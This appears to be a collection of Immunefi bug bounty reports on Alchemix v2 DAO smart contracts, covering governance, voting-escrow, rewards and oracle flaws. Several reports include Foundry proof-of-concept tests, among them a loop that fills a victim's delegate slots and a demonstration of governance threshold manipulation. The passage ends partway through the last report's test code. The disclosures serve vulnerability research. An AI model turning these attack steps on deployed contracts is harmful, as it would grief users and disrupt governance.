# 30685 - \[SC - Medium] The proposer can be impeded from submitting a p...

Submitted on May 4th 2024 at 13:33:54 UTC by @OxG0P1 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30685

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

The `propose` function verifies the minimum votes required for a valid proposal by checking if the number of votes obtained by `_msgSender()` within the last block timestamp is greater than or equal to the current `proposalThreshold()` value. However, it is susceptible to exploitation by an attacker who can manipulate and inflate the `proposalThreshold()` value, thereby preventing any user from successfully proposing a valid proposal.

## Vulnerability Details

In the `propose` function, there exists a verification mechanism ensuring that the `msg.sender` possesses adequate quorum votes to initiate a proposal, denoted by the condition `getVotes(_msgSender(), block.timestamp - 1) >= proposalThreshold()`. Here, the `getVotes()` function retrieves the number of votes at `block.timestamp - 1`, while the `proposalThreshold()` is calculated as follows: `(token.getPastTotalSupply(block.timestamp) * proposalNumerator) / PROPOSAL_DENOMINATOR`. Notably, `getPastTotalSupply()` fetches the `totalSupply` at the specified `block.timestamp`.

Consider the following hypothetical scenario:

1. Bob intends to propose a proposal.
2. At timestamp `x`, Bob garners 110 votes.
3. At timestamp `x + 1`, the actual `proposalThreshold` is set at 100 votes.
4. However, Alice opposes Bob's proposal.
5. Alice manipulates the `proposalThreshold` by either locking or depositing assets into an already locked position, thereby ensuring that `getVotes(bob, x) < proposalThreshold()`. Consequently, Bob's proposal transaction fails, leading to a revert.

This scenario underscores a vulnerability where an adversary, in this case, Alice, exploits the system by artificially inflating the `proposalThreshold`, effectively obstructing legitimate proposals such as Bob's from succeeding.

## Impact Details

Opposing an user from proposing by manipulating the `totalSupply`

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/AlchemixGovernor.sol#L45-L47> <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/governance/L2Governor.sol#L309-L312>

## Proof of Concept

`Test :`

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;

import "./BaseTest.sol";
import "forge-std/console.sol";

contract AlchemixGovernorTest is BaseTest {
    uint256 tokenId1;
    uint256 tokenId2;
    uint256 tokenId3;

    function setUp() public {
        setupContracts(block.timestamp);

        
        tokenId1 = createVeAlcx(admin, TOKEN_100K / 4, MAXTIME, false); //Assign Admin with some voting power at block.timestamp

    

        
        hevm.warp(block.timestamp + 1); // Timestamp increment

        assertEq(governor.timelock(), address(timelockExecutor));
    }

    function craftTestProposal()
        internal
        view
        returns (address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description)
    {
        targets = new address[](1);
        targets[0] = address(voter);
        values = new uint256[](1);
        values[0] = 0;
        calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSelector(voter.whitelist.selector, usdc);
        description = "Whitelist USDC";
    }




    function testPropose() public {
        address beef2 = address(6);
        address beef3 = address(7);
        address beef4 = address(8);
        address beef5 = address(9);
        address beef6 = address(10);
        address beef7 = address(11);
        createVeAlcx(beef, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef2, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef3, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef4, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef4, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef4, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef4, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef4, TOKEN_100K, MAXTIME, false);
        createVeAlcx(beef4, TOKEN_100K, MAXTIME, false); //Locking tokens so that the threshold increses

        ThreshHold = governor.proposalThreshold();
        console.log("TOTAL AT THIS2", ThreshHold);
        hevm.startPrank(admin);

        uint256 adminVotes = governor.getVotes(admin, block.timestamp - 1);
        uint256 pastVotes = veALCX.getPastVotes(admin, block.timestamp - 1);
        console.log("ADMIN VOTES", adminVotes);
        console.log("PAST VOTES", pastVotes);
        assertEq(adminVotes, pastVotes, "governor and veALCX calculated different votes");

        (address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();
        governor.propose(t, v, c, d, MAINNET); //Admin proposing 

        hevm.stopPrank();
    }
}
```

`Result :`

```solidity
Ran 2 tests for src/test/AlchemixGovernor.t.sol:AlchemixGovernorTest
[FAIL. Reason: revert: Governor: veALCX power below proposal threshold] testPropose() (gas: 7860929)
[PASS] testProposeFail() (gas: 1750584)
Suite result: FAILED. 1 passed; 1 failed; 0 skipped; finished in 103.69s (14.80s CPU time)

Ran 1 test suite in 105.70s (103.69s CPU time): 1 tests passed, 1 failed, 0 skipped (2 total tests)

Failing tests:
Encountered 1 failing test in src/test/AlchemixGovernor.t.sol:AlchemixGovernorTest
[FAIL. Reason: revert: Governor: veALCX power below proposal threshold] testPropose() (gas: 7860929)
```


# 30694 - \[SC - Low] Users approved for a single token id cannot wit...

Submitted on May 5th 2024 at 00:02:52 UTC by @imsrybr0 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30694

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

Users approved for a single token id cannot `withdraw` or `merge` for that token id.

## Vulnerability Details

```solidity
    function _isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
        address owner = idToOwner[_tokenId];
        bool spenderIsOwner = owner == _spender;
        bool spenderIsApproved = _spender == idToApprovals[_tokenId];
        bool spenderIsApprovedForAll = (ownerToOperators[owner])[_spender];
        return spenderIsOwner || spenderIsApproved || spenderIsApprovedForAll;
    }

    function merge(uint256 _from, uint256 _to) external {
        //...
        require(_isApprovedOrOwner(msg.sender, _from), "not approved or owner");
        require(_isApprovedOrOwner(msg.sender, _to), "not approved or owner");
        // ...

        _burn(_from, value0);
        _depositFor(_to, value0, end, _locked1.maxLockEnabled, _locked1, DepositType.MERGE_TYPE);
    }

    function withdraw(uint256 _tokenId) public nonreentrant {
        require(_isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");

       // ...

        _burn(_tokenId, value);

        emit Withdraw(msg.sender, _tokenId, value, block.timestamp);
    }

    function _burn(uint256 _tokenId, uint256 _value) internal {
        // ...
        approve(address(0), _tokenId);
        // ...
    }

    function approve(address _approved, uint256 _tokenId) public {
        address owner = idToOwner[_tokenId];
        // Throws if `_tokenId` is not a valid token
        require(owner != address(0), "owner not found");
        // Throws if `_approved` is the current owner
        require(_approved != owner, "Approved is already owner");
        // Check requirements
        bool senderIsOwner = (owner == msg.sender);
        bool senderIsApprovedForAll = (ownerToOperators[owner])[msg.sender];
        require(senderIsOwner || senderIsApprovedForAll, "sender is not owner or approved");
        // Set the approval
        idToApprovals[_tokenId] = _approved;
        emit Approval(owner, _approved, _tokenId);
    }
```

Both `withdraw` and `merge` check if the `msg.sender` is owner of the given token id or is approved to use it (either for all tokens from the same owner of specifically the one being used).

They will also `burn` the token after carrying on their logic and clear its approvals.

Approvals are cleared using `approve(address(0), _tokenId)` which will fail if a `msg.sender` is only approved for that token id specifically.

## Impact Details

* User approved for a single token cannot `withdraw` or `merge`.
* Users need to give permission for all their tokens to another user when they want that user to carry `withdraw` or `merge` operations for them.

## Recommendation

Use the `_clearApproval(owner, _tokenId)` to clear the approvals in the `_burn` function.

## References

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L741-L775>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L618-L651>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L826-L832>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L501-L514>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L1558-L1574>

## Proof of Concept

```solidity
    function testApproveSingleAndMerge() public {
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);

        hevm.prank(admin);
        veALCX.approve(beef, tokenId1);

        hevm.prank(beef);
        veALCX.merge(tokenId1, tokenId2);

        assertEq(veALCX.lockedAmount(tokenId2), TOKEN_1 + TOKEN_1);
    }
```


# 30699 - \[SC - High] Permanent freezing of unclaimed ALCX yield when...

Submitted on May 5th 2024 at 03:53:39 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30699

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Permanent freezing of unclaimed yield

## Description

There are 2 ways of burning a `veALCX` position (the NFT that is minted in *VotingEscrow\.sol* and accrues rewards):

* When withdrawing a position
* When merging two positions

veALCX holders accrue rewards in "`FLUX`" (in the *FluxToken.sol*) and rewards in "`ALCX`" (in the *RewardsDistributor.sol*).

In the *VotingEscrow* when withdrawing a position, there's a segment of the code that makes sure to claim all FLUX and ALCX earned, and distribute it:

```
    /**
     * @notice Withdraw all tokens for `_tokenId`
     * @dev Only possible if the lock has expired
     */
    function withdraw(uint256 _tokenId) public nonreentrant {

         // .......... some code here removed for the sake of simplicity

        // Claim any unclaimed ALCX rewards and FLUX
        IRewardsDistributor(distributor).claim(_tokenId, false);
        IFluxToken(FLUX).claimFlux(_tokenId, IFluxToken(FLUX).getUnclaimedFlux(_tokenId));

        // Burn the token
        _burn(_tokenId, value);

        emit Withdraw(msg.sender, _tokenId, value, block.timestamp);
```

> Source code at: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol?#L741-L775>

Users could manually send a transaction to the blockchain to claim the ALCX, another to claim the FLUX, and a 3rd transaction to withdraw the position, but, wisely, the implementation of the withdraw function saves them from manually having to claim each reward token.

When merging two positions by calling `merge(uint256 _from, uint256 _to)` the code transfers any accrued FLUX from one token to another before burning the NFT, but it forgets to claim the accrued ALCX.

> Source code at: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol?utm\\_source=immunefi#L618-L651>

Therefore, merging two positions burns one of the NFTs and permanently freezes the unclaimed ALCX yield accrued by that NFT.

## Impact Details

Permanent freezing of unclaimed ALCX yield when merging veALCX positions

## Proof of Concept

Using Alchemix's test suite we created a foundry test inside "`alchemix-v2-dao/src/test/VotingEscrow.t.sol`" proving how all unclaimed ALCX yield is lost when merging two **veALCX** positions.

Include the following function in `VotingEscrow.t.sol`:

```
    function testClamingRewardsOnMerge() public {
        hevm.startPrank(admin);

        uint256 tokenId1 = veALCX.createLock(TOKEN_1, THREE_WEEKS, true);
        uint256 tokenId2 = veALCX.createLock(TOKEN_1, THREE_WEEKS, true);

        voter.reset(tokenId1);
        voter.reset(tokenId2);

        hevm.warp(newEpoch());

        voter.distribute();

        uint256 unclaimedAlcx1 = distributor.claimable(tokenId1);
        uint256 unclaimedFlux1 = flux.getUnclaimedFlux(tokenId1);

        uint256 unclaimedAlcx2 = distributor.claimable(tokenId2);
        uint256 unclaimedFlux2 = flux.getUnclaimedFlux(tokenId2);

        console2.log("-BEFORE MERGING--------------------------------------------------------");
        console2.log("Unclaimed ALCX before merge for token1", unclaimedAlcx1);
        console2.log("Unclaimed FLUX before merge for token1", unclaimedFlux1);
        console2.log("-----------------------------------------------------------------------");
        console2.log("Unclaimed ALCX before merge for token2", unclaimedAlcx2);
        console2.log("Unclaimed FLUX before merge for token2", unclaimedFlux2);
        console2.log("-----------------------------------------------------------------------");

        hevm.warp(newEpoch());

        veALCX.merge(tokenId1, tokenId2);

        uint256 unclaimedAlcx_afterMerge1 = distributor.claimable(tokenId1);
        uint256 unclaimedFlux_afterMerge1 = flux.getUnclaimedFlux(tokenId1);

        uint256 unclaimedAlcx_afterMerge2 = distributor.claimable(tokenId2);
        uint256 unclaimedFlux_afterMerge2 = flux.getUnclaimedFlux(tokenId2);

        console2.log("-AFTER MERGING---------------------------------------------------------");
        console2.log("Unclaimed ALCX after merge for token1", unclaimedAlcx_afterMerge1);
        console2.log("Unclaimed FLUX after merge for token1", unclaimedFlux_afterMerge1);
        console2.log("-----------------------------------------------------------------------");
        console2.log("Unclaimed ALCX after merge for token2", unclaimedAlcx_afterMerge2);
        console2.log("Unclaimed FLUX after merge for token2", unclaimedFlux_afterMerge2);
        console2.log("-----------------------------------------------------------------------");

        assertEq(veALCX.balanceOfToken(tokenId1), 0);
        assertEq(veALCX.ownerOf(tokenId1), address(0));

        hevm.stopPrank();
    }

```


# 30704 - \[SC - Medium] Griefing an account from getting votes delegate...

Submitted on May 5th 2024 at 09:56:52 UTC by @Shahen for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30704

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

Assume there's three addresse's (Bob,Alex and Maya). Maya got `1e18` of `bpt tokens` which she locked in `VotingEscrow` contract and received a tokenId of the created `veALCX`. Maya is hoping to delegate her votes to Alex now. But Bob is a malicious actor, He locks `0.0000001 ether of bpt` in the `VotingEscrow` contract 1024 times.Therefore bob recieves 1024 tokenId's for a total of `0.0001024 ether of bpt` locked.

Now bob delegates his votes from each of his tokenId's to Alex,So alex got votes from 1024 tokenId's. So what bob have done here is a grief, If you look at line 1110 under `_moveAllDelegates()` internal function. There's a require condition that checks the total number of delegates the destioation(dst) has and if its <= `MAX_DELEGATES` which is 1024. So since bob delegated votes from 1024 tokenId's to Alex, When Maya tries to delegate votes from her tokenId that she received from locking `1e18`, The delegation will revert as the require statement fails. So this is how bob griefed Alex from getting votes delegated to him. Basically bob used his `0.0001024*10**18 bpt` total locked deposit to grief Alex, But bob can use any amount less than `0.0001024*10**18 bpt`,I just used that in the test. Ofcourse Alex would be able to delegate and clear out the unworthy votes sent by bob,But Bob can do the griefing again.

Please refer to the below Foundry POC demonstrating the explained scenario.

## Vulnerability Details

Same as the Brief/Intro

## Impact Details

A malicious actor can grief another address from getting votes delegated to it by maxing out the `MAX_DELEGATES` limit.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

## Proof of Concept

Paste the below testfile under src/test and run.

```
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract VotingEscrowGriefTest is BaseTest {
    uint256 internal constant THREE_WEEKS = 3 weeks;
    address bob = address(0x1); // Griefer
    address alex = address(0x2); // victim
    address maya = address(0x3);

    function setUp() public {
        setupContracts(block.timestamp);
    }

    
   
    
    function test_delegate_grief() public {

// 1.) Bob has 0.0001024 bpt.

        hevm.startPrank(bob);
        deal(bpt,bob,0.0001024 ether);
        IERC20(bpt).approve(address(veALCX), 0.0001024 ether);
        
// 2.) Bob aquires multiple tokenId's by locking 0.0000001 bpt * 1024 times, So in total bob got <1024 tokenId's. 
// 3.) Since bob now has greater than or equal to 1024 tokenId's,Bob delegates votes from all of his tokenId's to Alex.    
        
        
        for (uint i = 0; i < 1024; i++) {
            uint256 tokenId = veALCX.createLock(0.0000001 ether, THREE_WEEKS, false);
            assertEq(veALCX.ownerOf(tokenId), bob);
            veALCX.delegate(alex);

        }

        
    

        hevm.stopPrank();
// 4.) Now Maya who locked 1e18 worth of bpt tries to delegate vote to alex.
// 5.) But the delegation revert as there's a limit of 1024 max delegates per dst account.
// 6.) Basically Bob delegated votes to Alex from 1024 different tokenId's, And since theres a max delagate limit of 1024,No one would be able to delegate votes to alex.
// 7.) This way Bob griefed Alex by getting votes delegated to him.
        hevm.startPrank(maya);
        deal(bpt,maya,1e18);
        IERC20(bpt).approve(address(veALCX), 1e18);
        uint256 tokenId = veALCX.createLock(1e18, THREE_WEEKS, false);
        assertEq(veALCX.ownerOf(tokenId), maya);
        hevm.expectRevert(abi.encodePacked("dst would have too many tokenIds"));
        veALCX.delegate(alex);
        hevm.stopPrank();
        

        
    }

    
}

```


# 30708 - \[SC - Low] treasuryPct can be exceeded than BPS due to inc...

Submitted on May 5th 2024 at 11:43:39 UTC by @OxRizwan for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30708

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Logic errors
* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

`treasuryPct` can be exceeded than `BPS` due to incorrect validation in `RevenueHandler.sol` constructor

## Vulnerability Details

`RevenueHandler.sol` has constructor which initialize the state variables like `veALCX`, `treasury` and `treasuryPct` with their values.

```solidity
    constructor(address _veALCX, address _treasury, uint256 _treasuryPct) Ownable() {
        veALCX = _veALCX;
        require(_treasury != address(0), "treasury cannot be 0x0");
        treasury = _treasury;
@>      require(treasuryPct <= BPS, "treasury pct too large");
        treasuryPct = _treasuryPct;
    }
```

The issue here is `treasuryPct` value can be exceed than `BPS` due to incorrect input validation and logic error in constructor implementation. The constructor checks the BPS is less than equal with `treasuryPct` which is a state varibale. This is not correct as the input argument i.e `_treasuryPct` should be validated with BPS max value.

This would allow the value of `treasuryPct` to be able to set to maximum value of uint256 and can be bypassed the BPS check limit. It means that `treasuryPct` can be set to 150% or 200% or any number.

It should be noted, even this issue happend in real world, this can be corrected by calling `setTreasuryPct()` which is correctly implemented.

```solidity
    function setTreasuryPct(uint256 _treasuryPct) external override onlyOwner {
        require(_treasuryPct <= BPS, "treasury pct too large");
        require(_treasuryPct != treasuryPct, "treasury pct unchanged");
        treasuryPct = _treasuryPct;
        emit TreasuryPctUpdated(_treasuryPct);
    }
```

Therefore, this issue is identified as low severity due to logic error in handling input validation in current implementatation.

## Impact Details

`treasuryPct` value can be exceeded than `BPS`. It means the `treasuryPct` can be set upto type(uint256).max value at contract construction level. This would lead to incorrect calculations in contract.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L77>

## Recommendation to fix

Consider below changes:

```diff
    constructor(address _veALCX, address _treasury, uint256 _treasuryPct) Ownable() {
        veALCX = _veALCX;
        require(_treasury != address(0), "treasury cannot be 0x0");
        treasury = _treasury;
-        require(treasuryPct <= BPS, "treasury pct too large");
+        require(_treasuryPct <= BPS, "treasury pct too large");
        treasuryPct = _treasuryPct;
    }
```

## Proof of Concept

The issue is about incorrect logic error with respect to input error handling in current implementation of constructor. This would allow to by pass the treasury percent value greater than BPS.

Please check the `Recommendation to fix` above and further description to understand the issue. This can be easily understood as its not complex issue so there is no need for coded POC.

Thanks for your understanding.


# 30710 - \[SC - Insight] The execution of the proposal has no expiration

Submitted on May 5th 2024 at 13:17:09 UTC by @OxG0P1 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30710

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Protocol insolvency

## Description

## Brief/Intro

If successful, any proposal can be executed at any time, as there is no expiration date for proposals.

## Vulnerability Details

After successful completion, a proposal will be executed following a specified delay through the `execute` function. However, a vulnerability arises from the fact that the function fails to verify whether the proposal has expired. In fact, there is no implementation of an expiration mechanism within the governance framework. This omission poses significant risks.

## Impact Details

Consider the following scenario:

Alice submits Proposal A to stake 20,000 ETH to a DEFI protocol, which successfully passes. However, it cannot be executed due to only 15,000 ETH remaining in the timelock, depleted by other proposals. Proposal A lacks an expiration period so it can be executed anytime. Subsequently, the DEFI protocol falls victim to a hack or rug-pull three days later. At this point, the Timelock accumulates sufficient funds to execute Proposal A.

Due to the absence of an expiration mechanism, Proposal A can be executed at any time, including after the protocol's compromise. Even if governance attempts to 'cancel' Proposal A, a malicious actor could front-run this transaction and execute Proposal A, leading to severe damage to the protocol.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/governance/L2Governor.sol#L352-L375>

## Proof of Concept

`Test :`

```solidity
    function testOnlyExecutorCanExecute() public {
        assertFalse(voter.isWhitelisted(usdc));

        (address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();

        hevm.warp(block.timestamp + 2 days); // delay

        // propose
        hevm.startPrank(admin);
        uint256 pid = governor.propose(t, v, c, d, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote
        hevm.startPrank(admin);
        governor.castVote(pid, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.stopPrank();

        // execute
        hevm.startPrank(admin);
        // execution delay
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); 


        hevm.warp(block.timestamp + 1000 weeks); //After 1000 weeks

        uint proposalId = governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);
        assertEq(proposalId, pid);
    }
```

`Result :`

```solidity
Ran 1 test for src/test/AlchemixGovernor.t.sol:AlchemixGovernorTest
[PASS] testOnlyExecutorCanExecute() (gas: 345470)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 83.23s (695.80µs CPU time)

Ran 1 test suite in 85.45s (83.23s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 30711 - \[SC - Low] The result of the AggregatorVInterface is not v...

Submitted on May 5th 2024 at 14:39:56 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30711

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RewardsDistributor.sol>

Impacts:

* Protocol insolvency

## Description

## Vulnerability Details

The *RewardsDistributor* (`alchemix-v2-dao/src/RewardsDistributor.sol`) calculates the amount to compound based on the **alcxEthPrice**.

```
function amountToCompound(uint256 _alcxAmount) public view returns (uint256, uint256[] memory) {
    // Increased for testing since tests go into future
    uint256 staleThreshold = 60 days;

    (uint80 roundId, int256 alcxEthPrice, , uint256 priceTimestamp, uint80 answeredInRound) = priceFeed
        .latestRoundData();

    require(answeredInRound >= roundId, "Stale price");
    require(block.timestamp - priceTimestamp < staleThreshold, "Price is stale");
    require(alcxEthPrice > 0, "Chainlink answer reporting 0");

    uint256[] memory normalizedWeights = IManagedPool(address(balancerPool)).getNormalizedWeights();

    uint256 amount = (((_alcxAmount * uint256(alcxEthPrice)) / 1 ether) * normalizedWeights[0]) /
        normalizedWeights[1];

    return (amount, normalizedWeights);
}
```

> Code snippet from <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RewardsDistributor.sol#L116-L133>

The variable "staleThreshold" inside the function `amountToCompound(..)` was hard-coded to 60 days to make running foundry tests that go forward in time easier. Still, if the smart contract is deployed with the hard-coded value, it will accept outdated prices for up to 60 days.

> If there is a problem with chainlink starting a new round and finding consensus on the new value for the oracle (e.g. chainlink nodes abandon the oracle, chain congestion, vulnerability/attacks on the chainlink system) the ***RewardsDistributor*****&#x20;will continue using an outdated price for 60 days** (if oracles are unable to submit no new round is started).

The *RewardsDistributor* is not a test file and is meant to be deployed.

We must audit all in-scope smart contracts as "ready to be deployed if no bugs are found", therefore, we have to report this as a bug.

### Recommendation

**1-** Update the "*staleThreshold*" to 24 hours.

**2-** Instead of hardcoding the "*staleThreshold*" inside a function, make it a global variable that an admin can update by executing a permissioned function.

> This allows the Alchemix team to develop a *RewardsDistributor* that is easy to run time-based tests on and can be safely deployed without any modification, removing the risk of forgetting to update "x value" inside the "function y" inside the "smart contract z" before deployment.

## Impact Details

Using stale prices results in wrong calculations for the amount to compound, which can lead to loss of funds and insolvency.

## Severity

The report is technically valid and bugs that affect the solvency of the protocol are of critical severity. Still, the prerequisite decreases the severity of this finding to medium.

## Proof of Concept

The finding is straightforward to understand, but the boost's policy requires creating a proof of concept, so here's one that can be quickly run in chisel.

In the shell run: `chisel`

Then paste this function and press enter:

```javascript

function amountToCompound() public view returns (bool) {

    uint256 staleThreshold = 60 days;

    // example value for block.timestamp to quickly run this test inside chisel
    uint256 current_timestamp = 1714897791;

    // priceTimestamp is a 10-days old price
    uint256 priceTimestamp = current_timestamp - 10 days;

    // check if the "price is stale" does not revert for a 10-days old price
    require(current_timestamp - priceTimestamp < staleThreshold, "Price is stale");

    // Returns true
    return true;
}
```

Now call it by typing this and pressing enter: `amountToCompound()`


# 30781 - \[SC - Low] It is possible to lower the quorum requirements...

## It is possible to lower the quorum requirements that will lead to the past unmet proposals become executable

Submitted on May 5th 2024 at 20:55:25 UTC by @MTNether for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30781

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
* Protocol insolvency
* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
* Permanent freezing of funds

### Description

### Brief/Intro

The lowering quorum poses a significant risk within governance systems, where reducing the quorum requirements could inadvertently render previously unmet proposals executable. This vulnerability arises when the quorum threshold is decreased below its initial value in the future, potentially allowing past proposals that failed to meet the original quorum to be executed. This could lead to unexpected changes in the system, bypassing intended checks and safeguards, and potentially disrupting the integrity of the governance process.

### Vulnerability Details

Alchemix utilizes the widely recognized OpenZeppelin governance system, facilitating proposal submission, voting, and execution upon meeting quorum requirements. This governance model, prevalent across various protocols, decentralizes decision-making, avoiding reliance on a single entity and promoting inclusivity. However, a potential pitfall of this model lies in its ability to modify the proposal acceptance quorum in the future. While not inherently a bug, this poses a challenge as it fails to record previous quorums, potentially allowing previously unmet proposals to be executed, circumventing established invariants and requirements.

The contract `L2GovernorVotesQuorumFraction` is responsible for keeping the aforementioned quorum. If we look at the contracts deeply, we can see there is not a snapshot or data keeping for these quorums. Also, the `quorumNumerator` can be updated in the future via the mentioned governance model:

```solidity
    function updateQuorumNumerator(uint256 newQuorumNumerator) external virtual onlyGovernance {
        _updateQuorumNumerator(newQuorumNumerator);
    }
```

This numerator determines the quorum threshold for proposal acceptance. However, if we reduce this numerator, initially set at 2000, below its current value, previously unmet proposals could potentially be executed. This would compromise past invariants and checks that remain valid.

This means that, If we change the acceptance quorum in the future, and we don't keep a record of the previous quorums, then the not-reaching previous proposals can be executed, bypassing the invariants and requirements.

I want to clarify that this attack differs from what is outlined on the Immunefi page:

> Ambiguous Proposal Executions via the TimelockController are acknowledged and a part of the governance management system.

And also:

> 5.34 Voting Power Threshold Updates

It is similar to this one but completely differs as it doesn't mention the impacts, doesn't share a runnable POC, and also doesn't discuss the ways which is possible.

### Impact Details

This complicated attack type may have several impacts on the system:

1. Transitioning the Timelock contract to one deployed by the attacker, giving them control over crucial functions and proposals.
2. Cancelling and quietly nullifying important and highly-supported proposals, undermining the governance process.
3. Triggering the execution of malicious and hazardous proposals, potentially causing severe harm to the system.

### References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/governance/L2GovernorVotesQuorumFraction.sol#L16>

## Recommended Mitigation Steps

Checkpointing the quorum is essential to prevent changes in the quorum from inadvertently transforming previously unsuccessful proposals into successful ones solely due to quorum adjustments.

Or you can update the contracts to match the OpenZeppelin contracts version 4.7.2 or higher. The governance contracts are currently derived from the version 4.5.0:

(<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/governance/L2GovernorVotesQuorumFraction.sol#L1-L4>):

```
// OpenZeppelin Contracts (last updated v4.5.0) (governance/extensions/GovernorVotesQuorumFraction.sol)
```

### Proof of Concept

You can add these tests to the file `AlchemixGovernor.t.sol` and run it:

```solidity

    function craftUpdateQuorumProposal()
        internal
        view
        returns (address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description)
    {
        targets = new address[](1);
        targets[0] = address(governor);
        values = new uint256[](1);
        values[0] = 0; // Changing the quorum numerator which was set to 2000
        calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSelector(governor.updateQuorumNumerator.selector, 500);
        description = "Updating the Quorum Numerator";
    }

    function craftCancellingProposal(
        address[] memory targets1,
        uint256[] memory values1,
        bytes[] memory calldatas1,
        string memory descriptionHash1,
        uint256 chainId
    )
        internal
        view
        returns (address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description)
    {
        targets = new address[](1);
        targets[0] = address(governor);
        values = new uint256[](1);
        values[0] = 0; // Changing the quorum numerator which was set to 2000
        calldatas = new bytes[](1);
        bytes32 descriptionHash = keccak256(bytes(descriptionHash1));
        calldatas[0] = abi.encodeWithSelector(governor.cancel.selector, targets1, values1, calldatas1, descriptionHash, chainId);
        description = "Cancelling the Proposal";
    }

    function craftChangeTimelockProposal()
        internal
        returns (address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description)
    {

        address[] memory cancellerArray1 = new address[](1);
        cancellerArray1[0] = dead;
        address[] memory executorArray1 = new address[](1);
        executorArray1[0] = address(0);

        TimelockExecutor newTimelock = new TimelockExecutor(1 days, cancellerArray1, executorArray1);
        targets = new address[](1);
        targets[0] = address(governor);
        values = new uint256[](1);
        values[0] = 0; // Changing the quorum numerator which was set to 2000
        calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSelector(governor.updateTimelock.selector, newTimelock);
        description = "Updating the Timelock contract";
    }

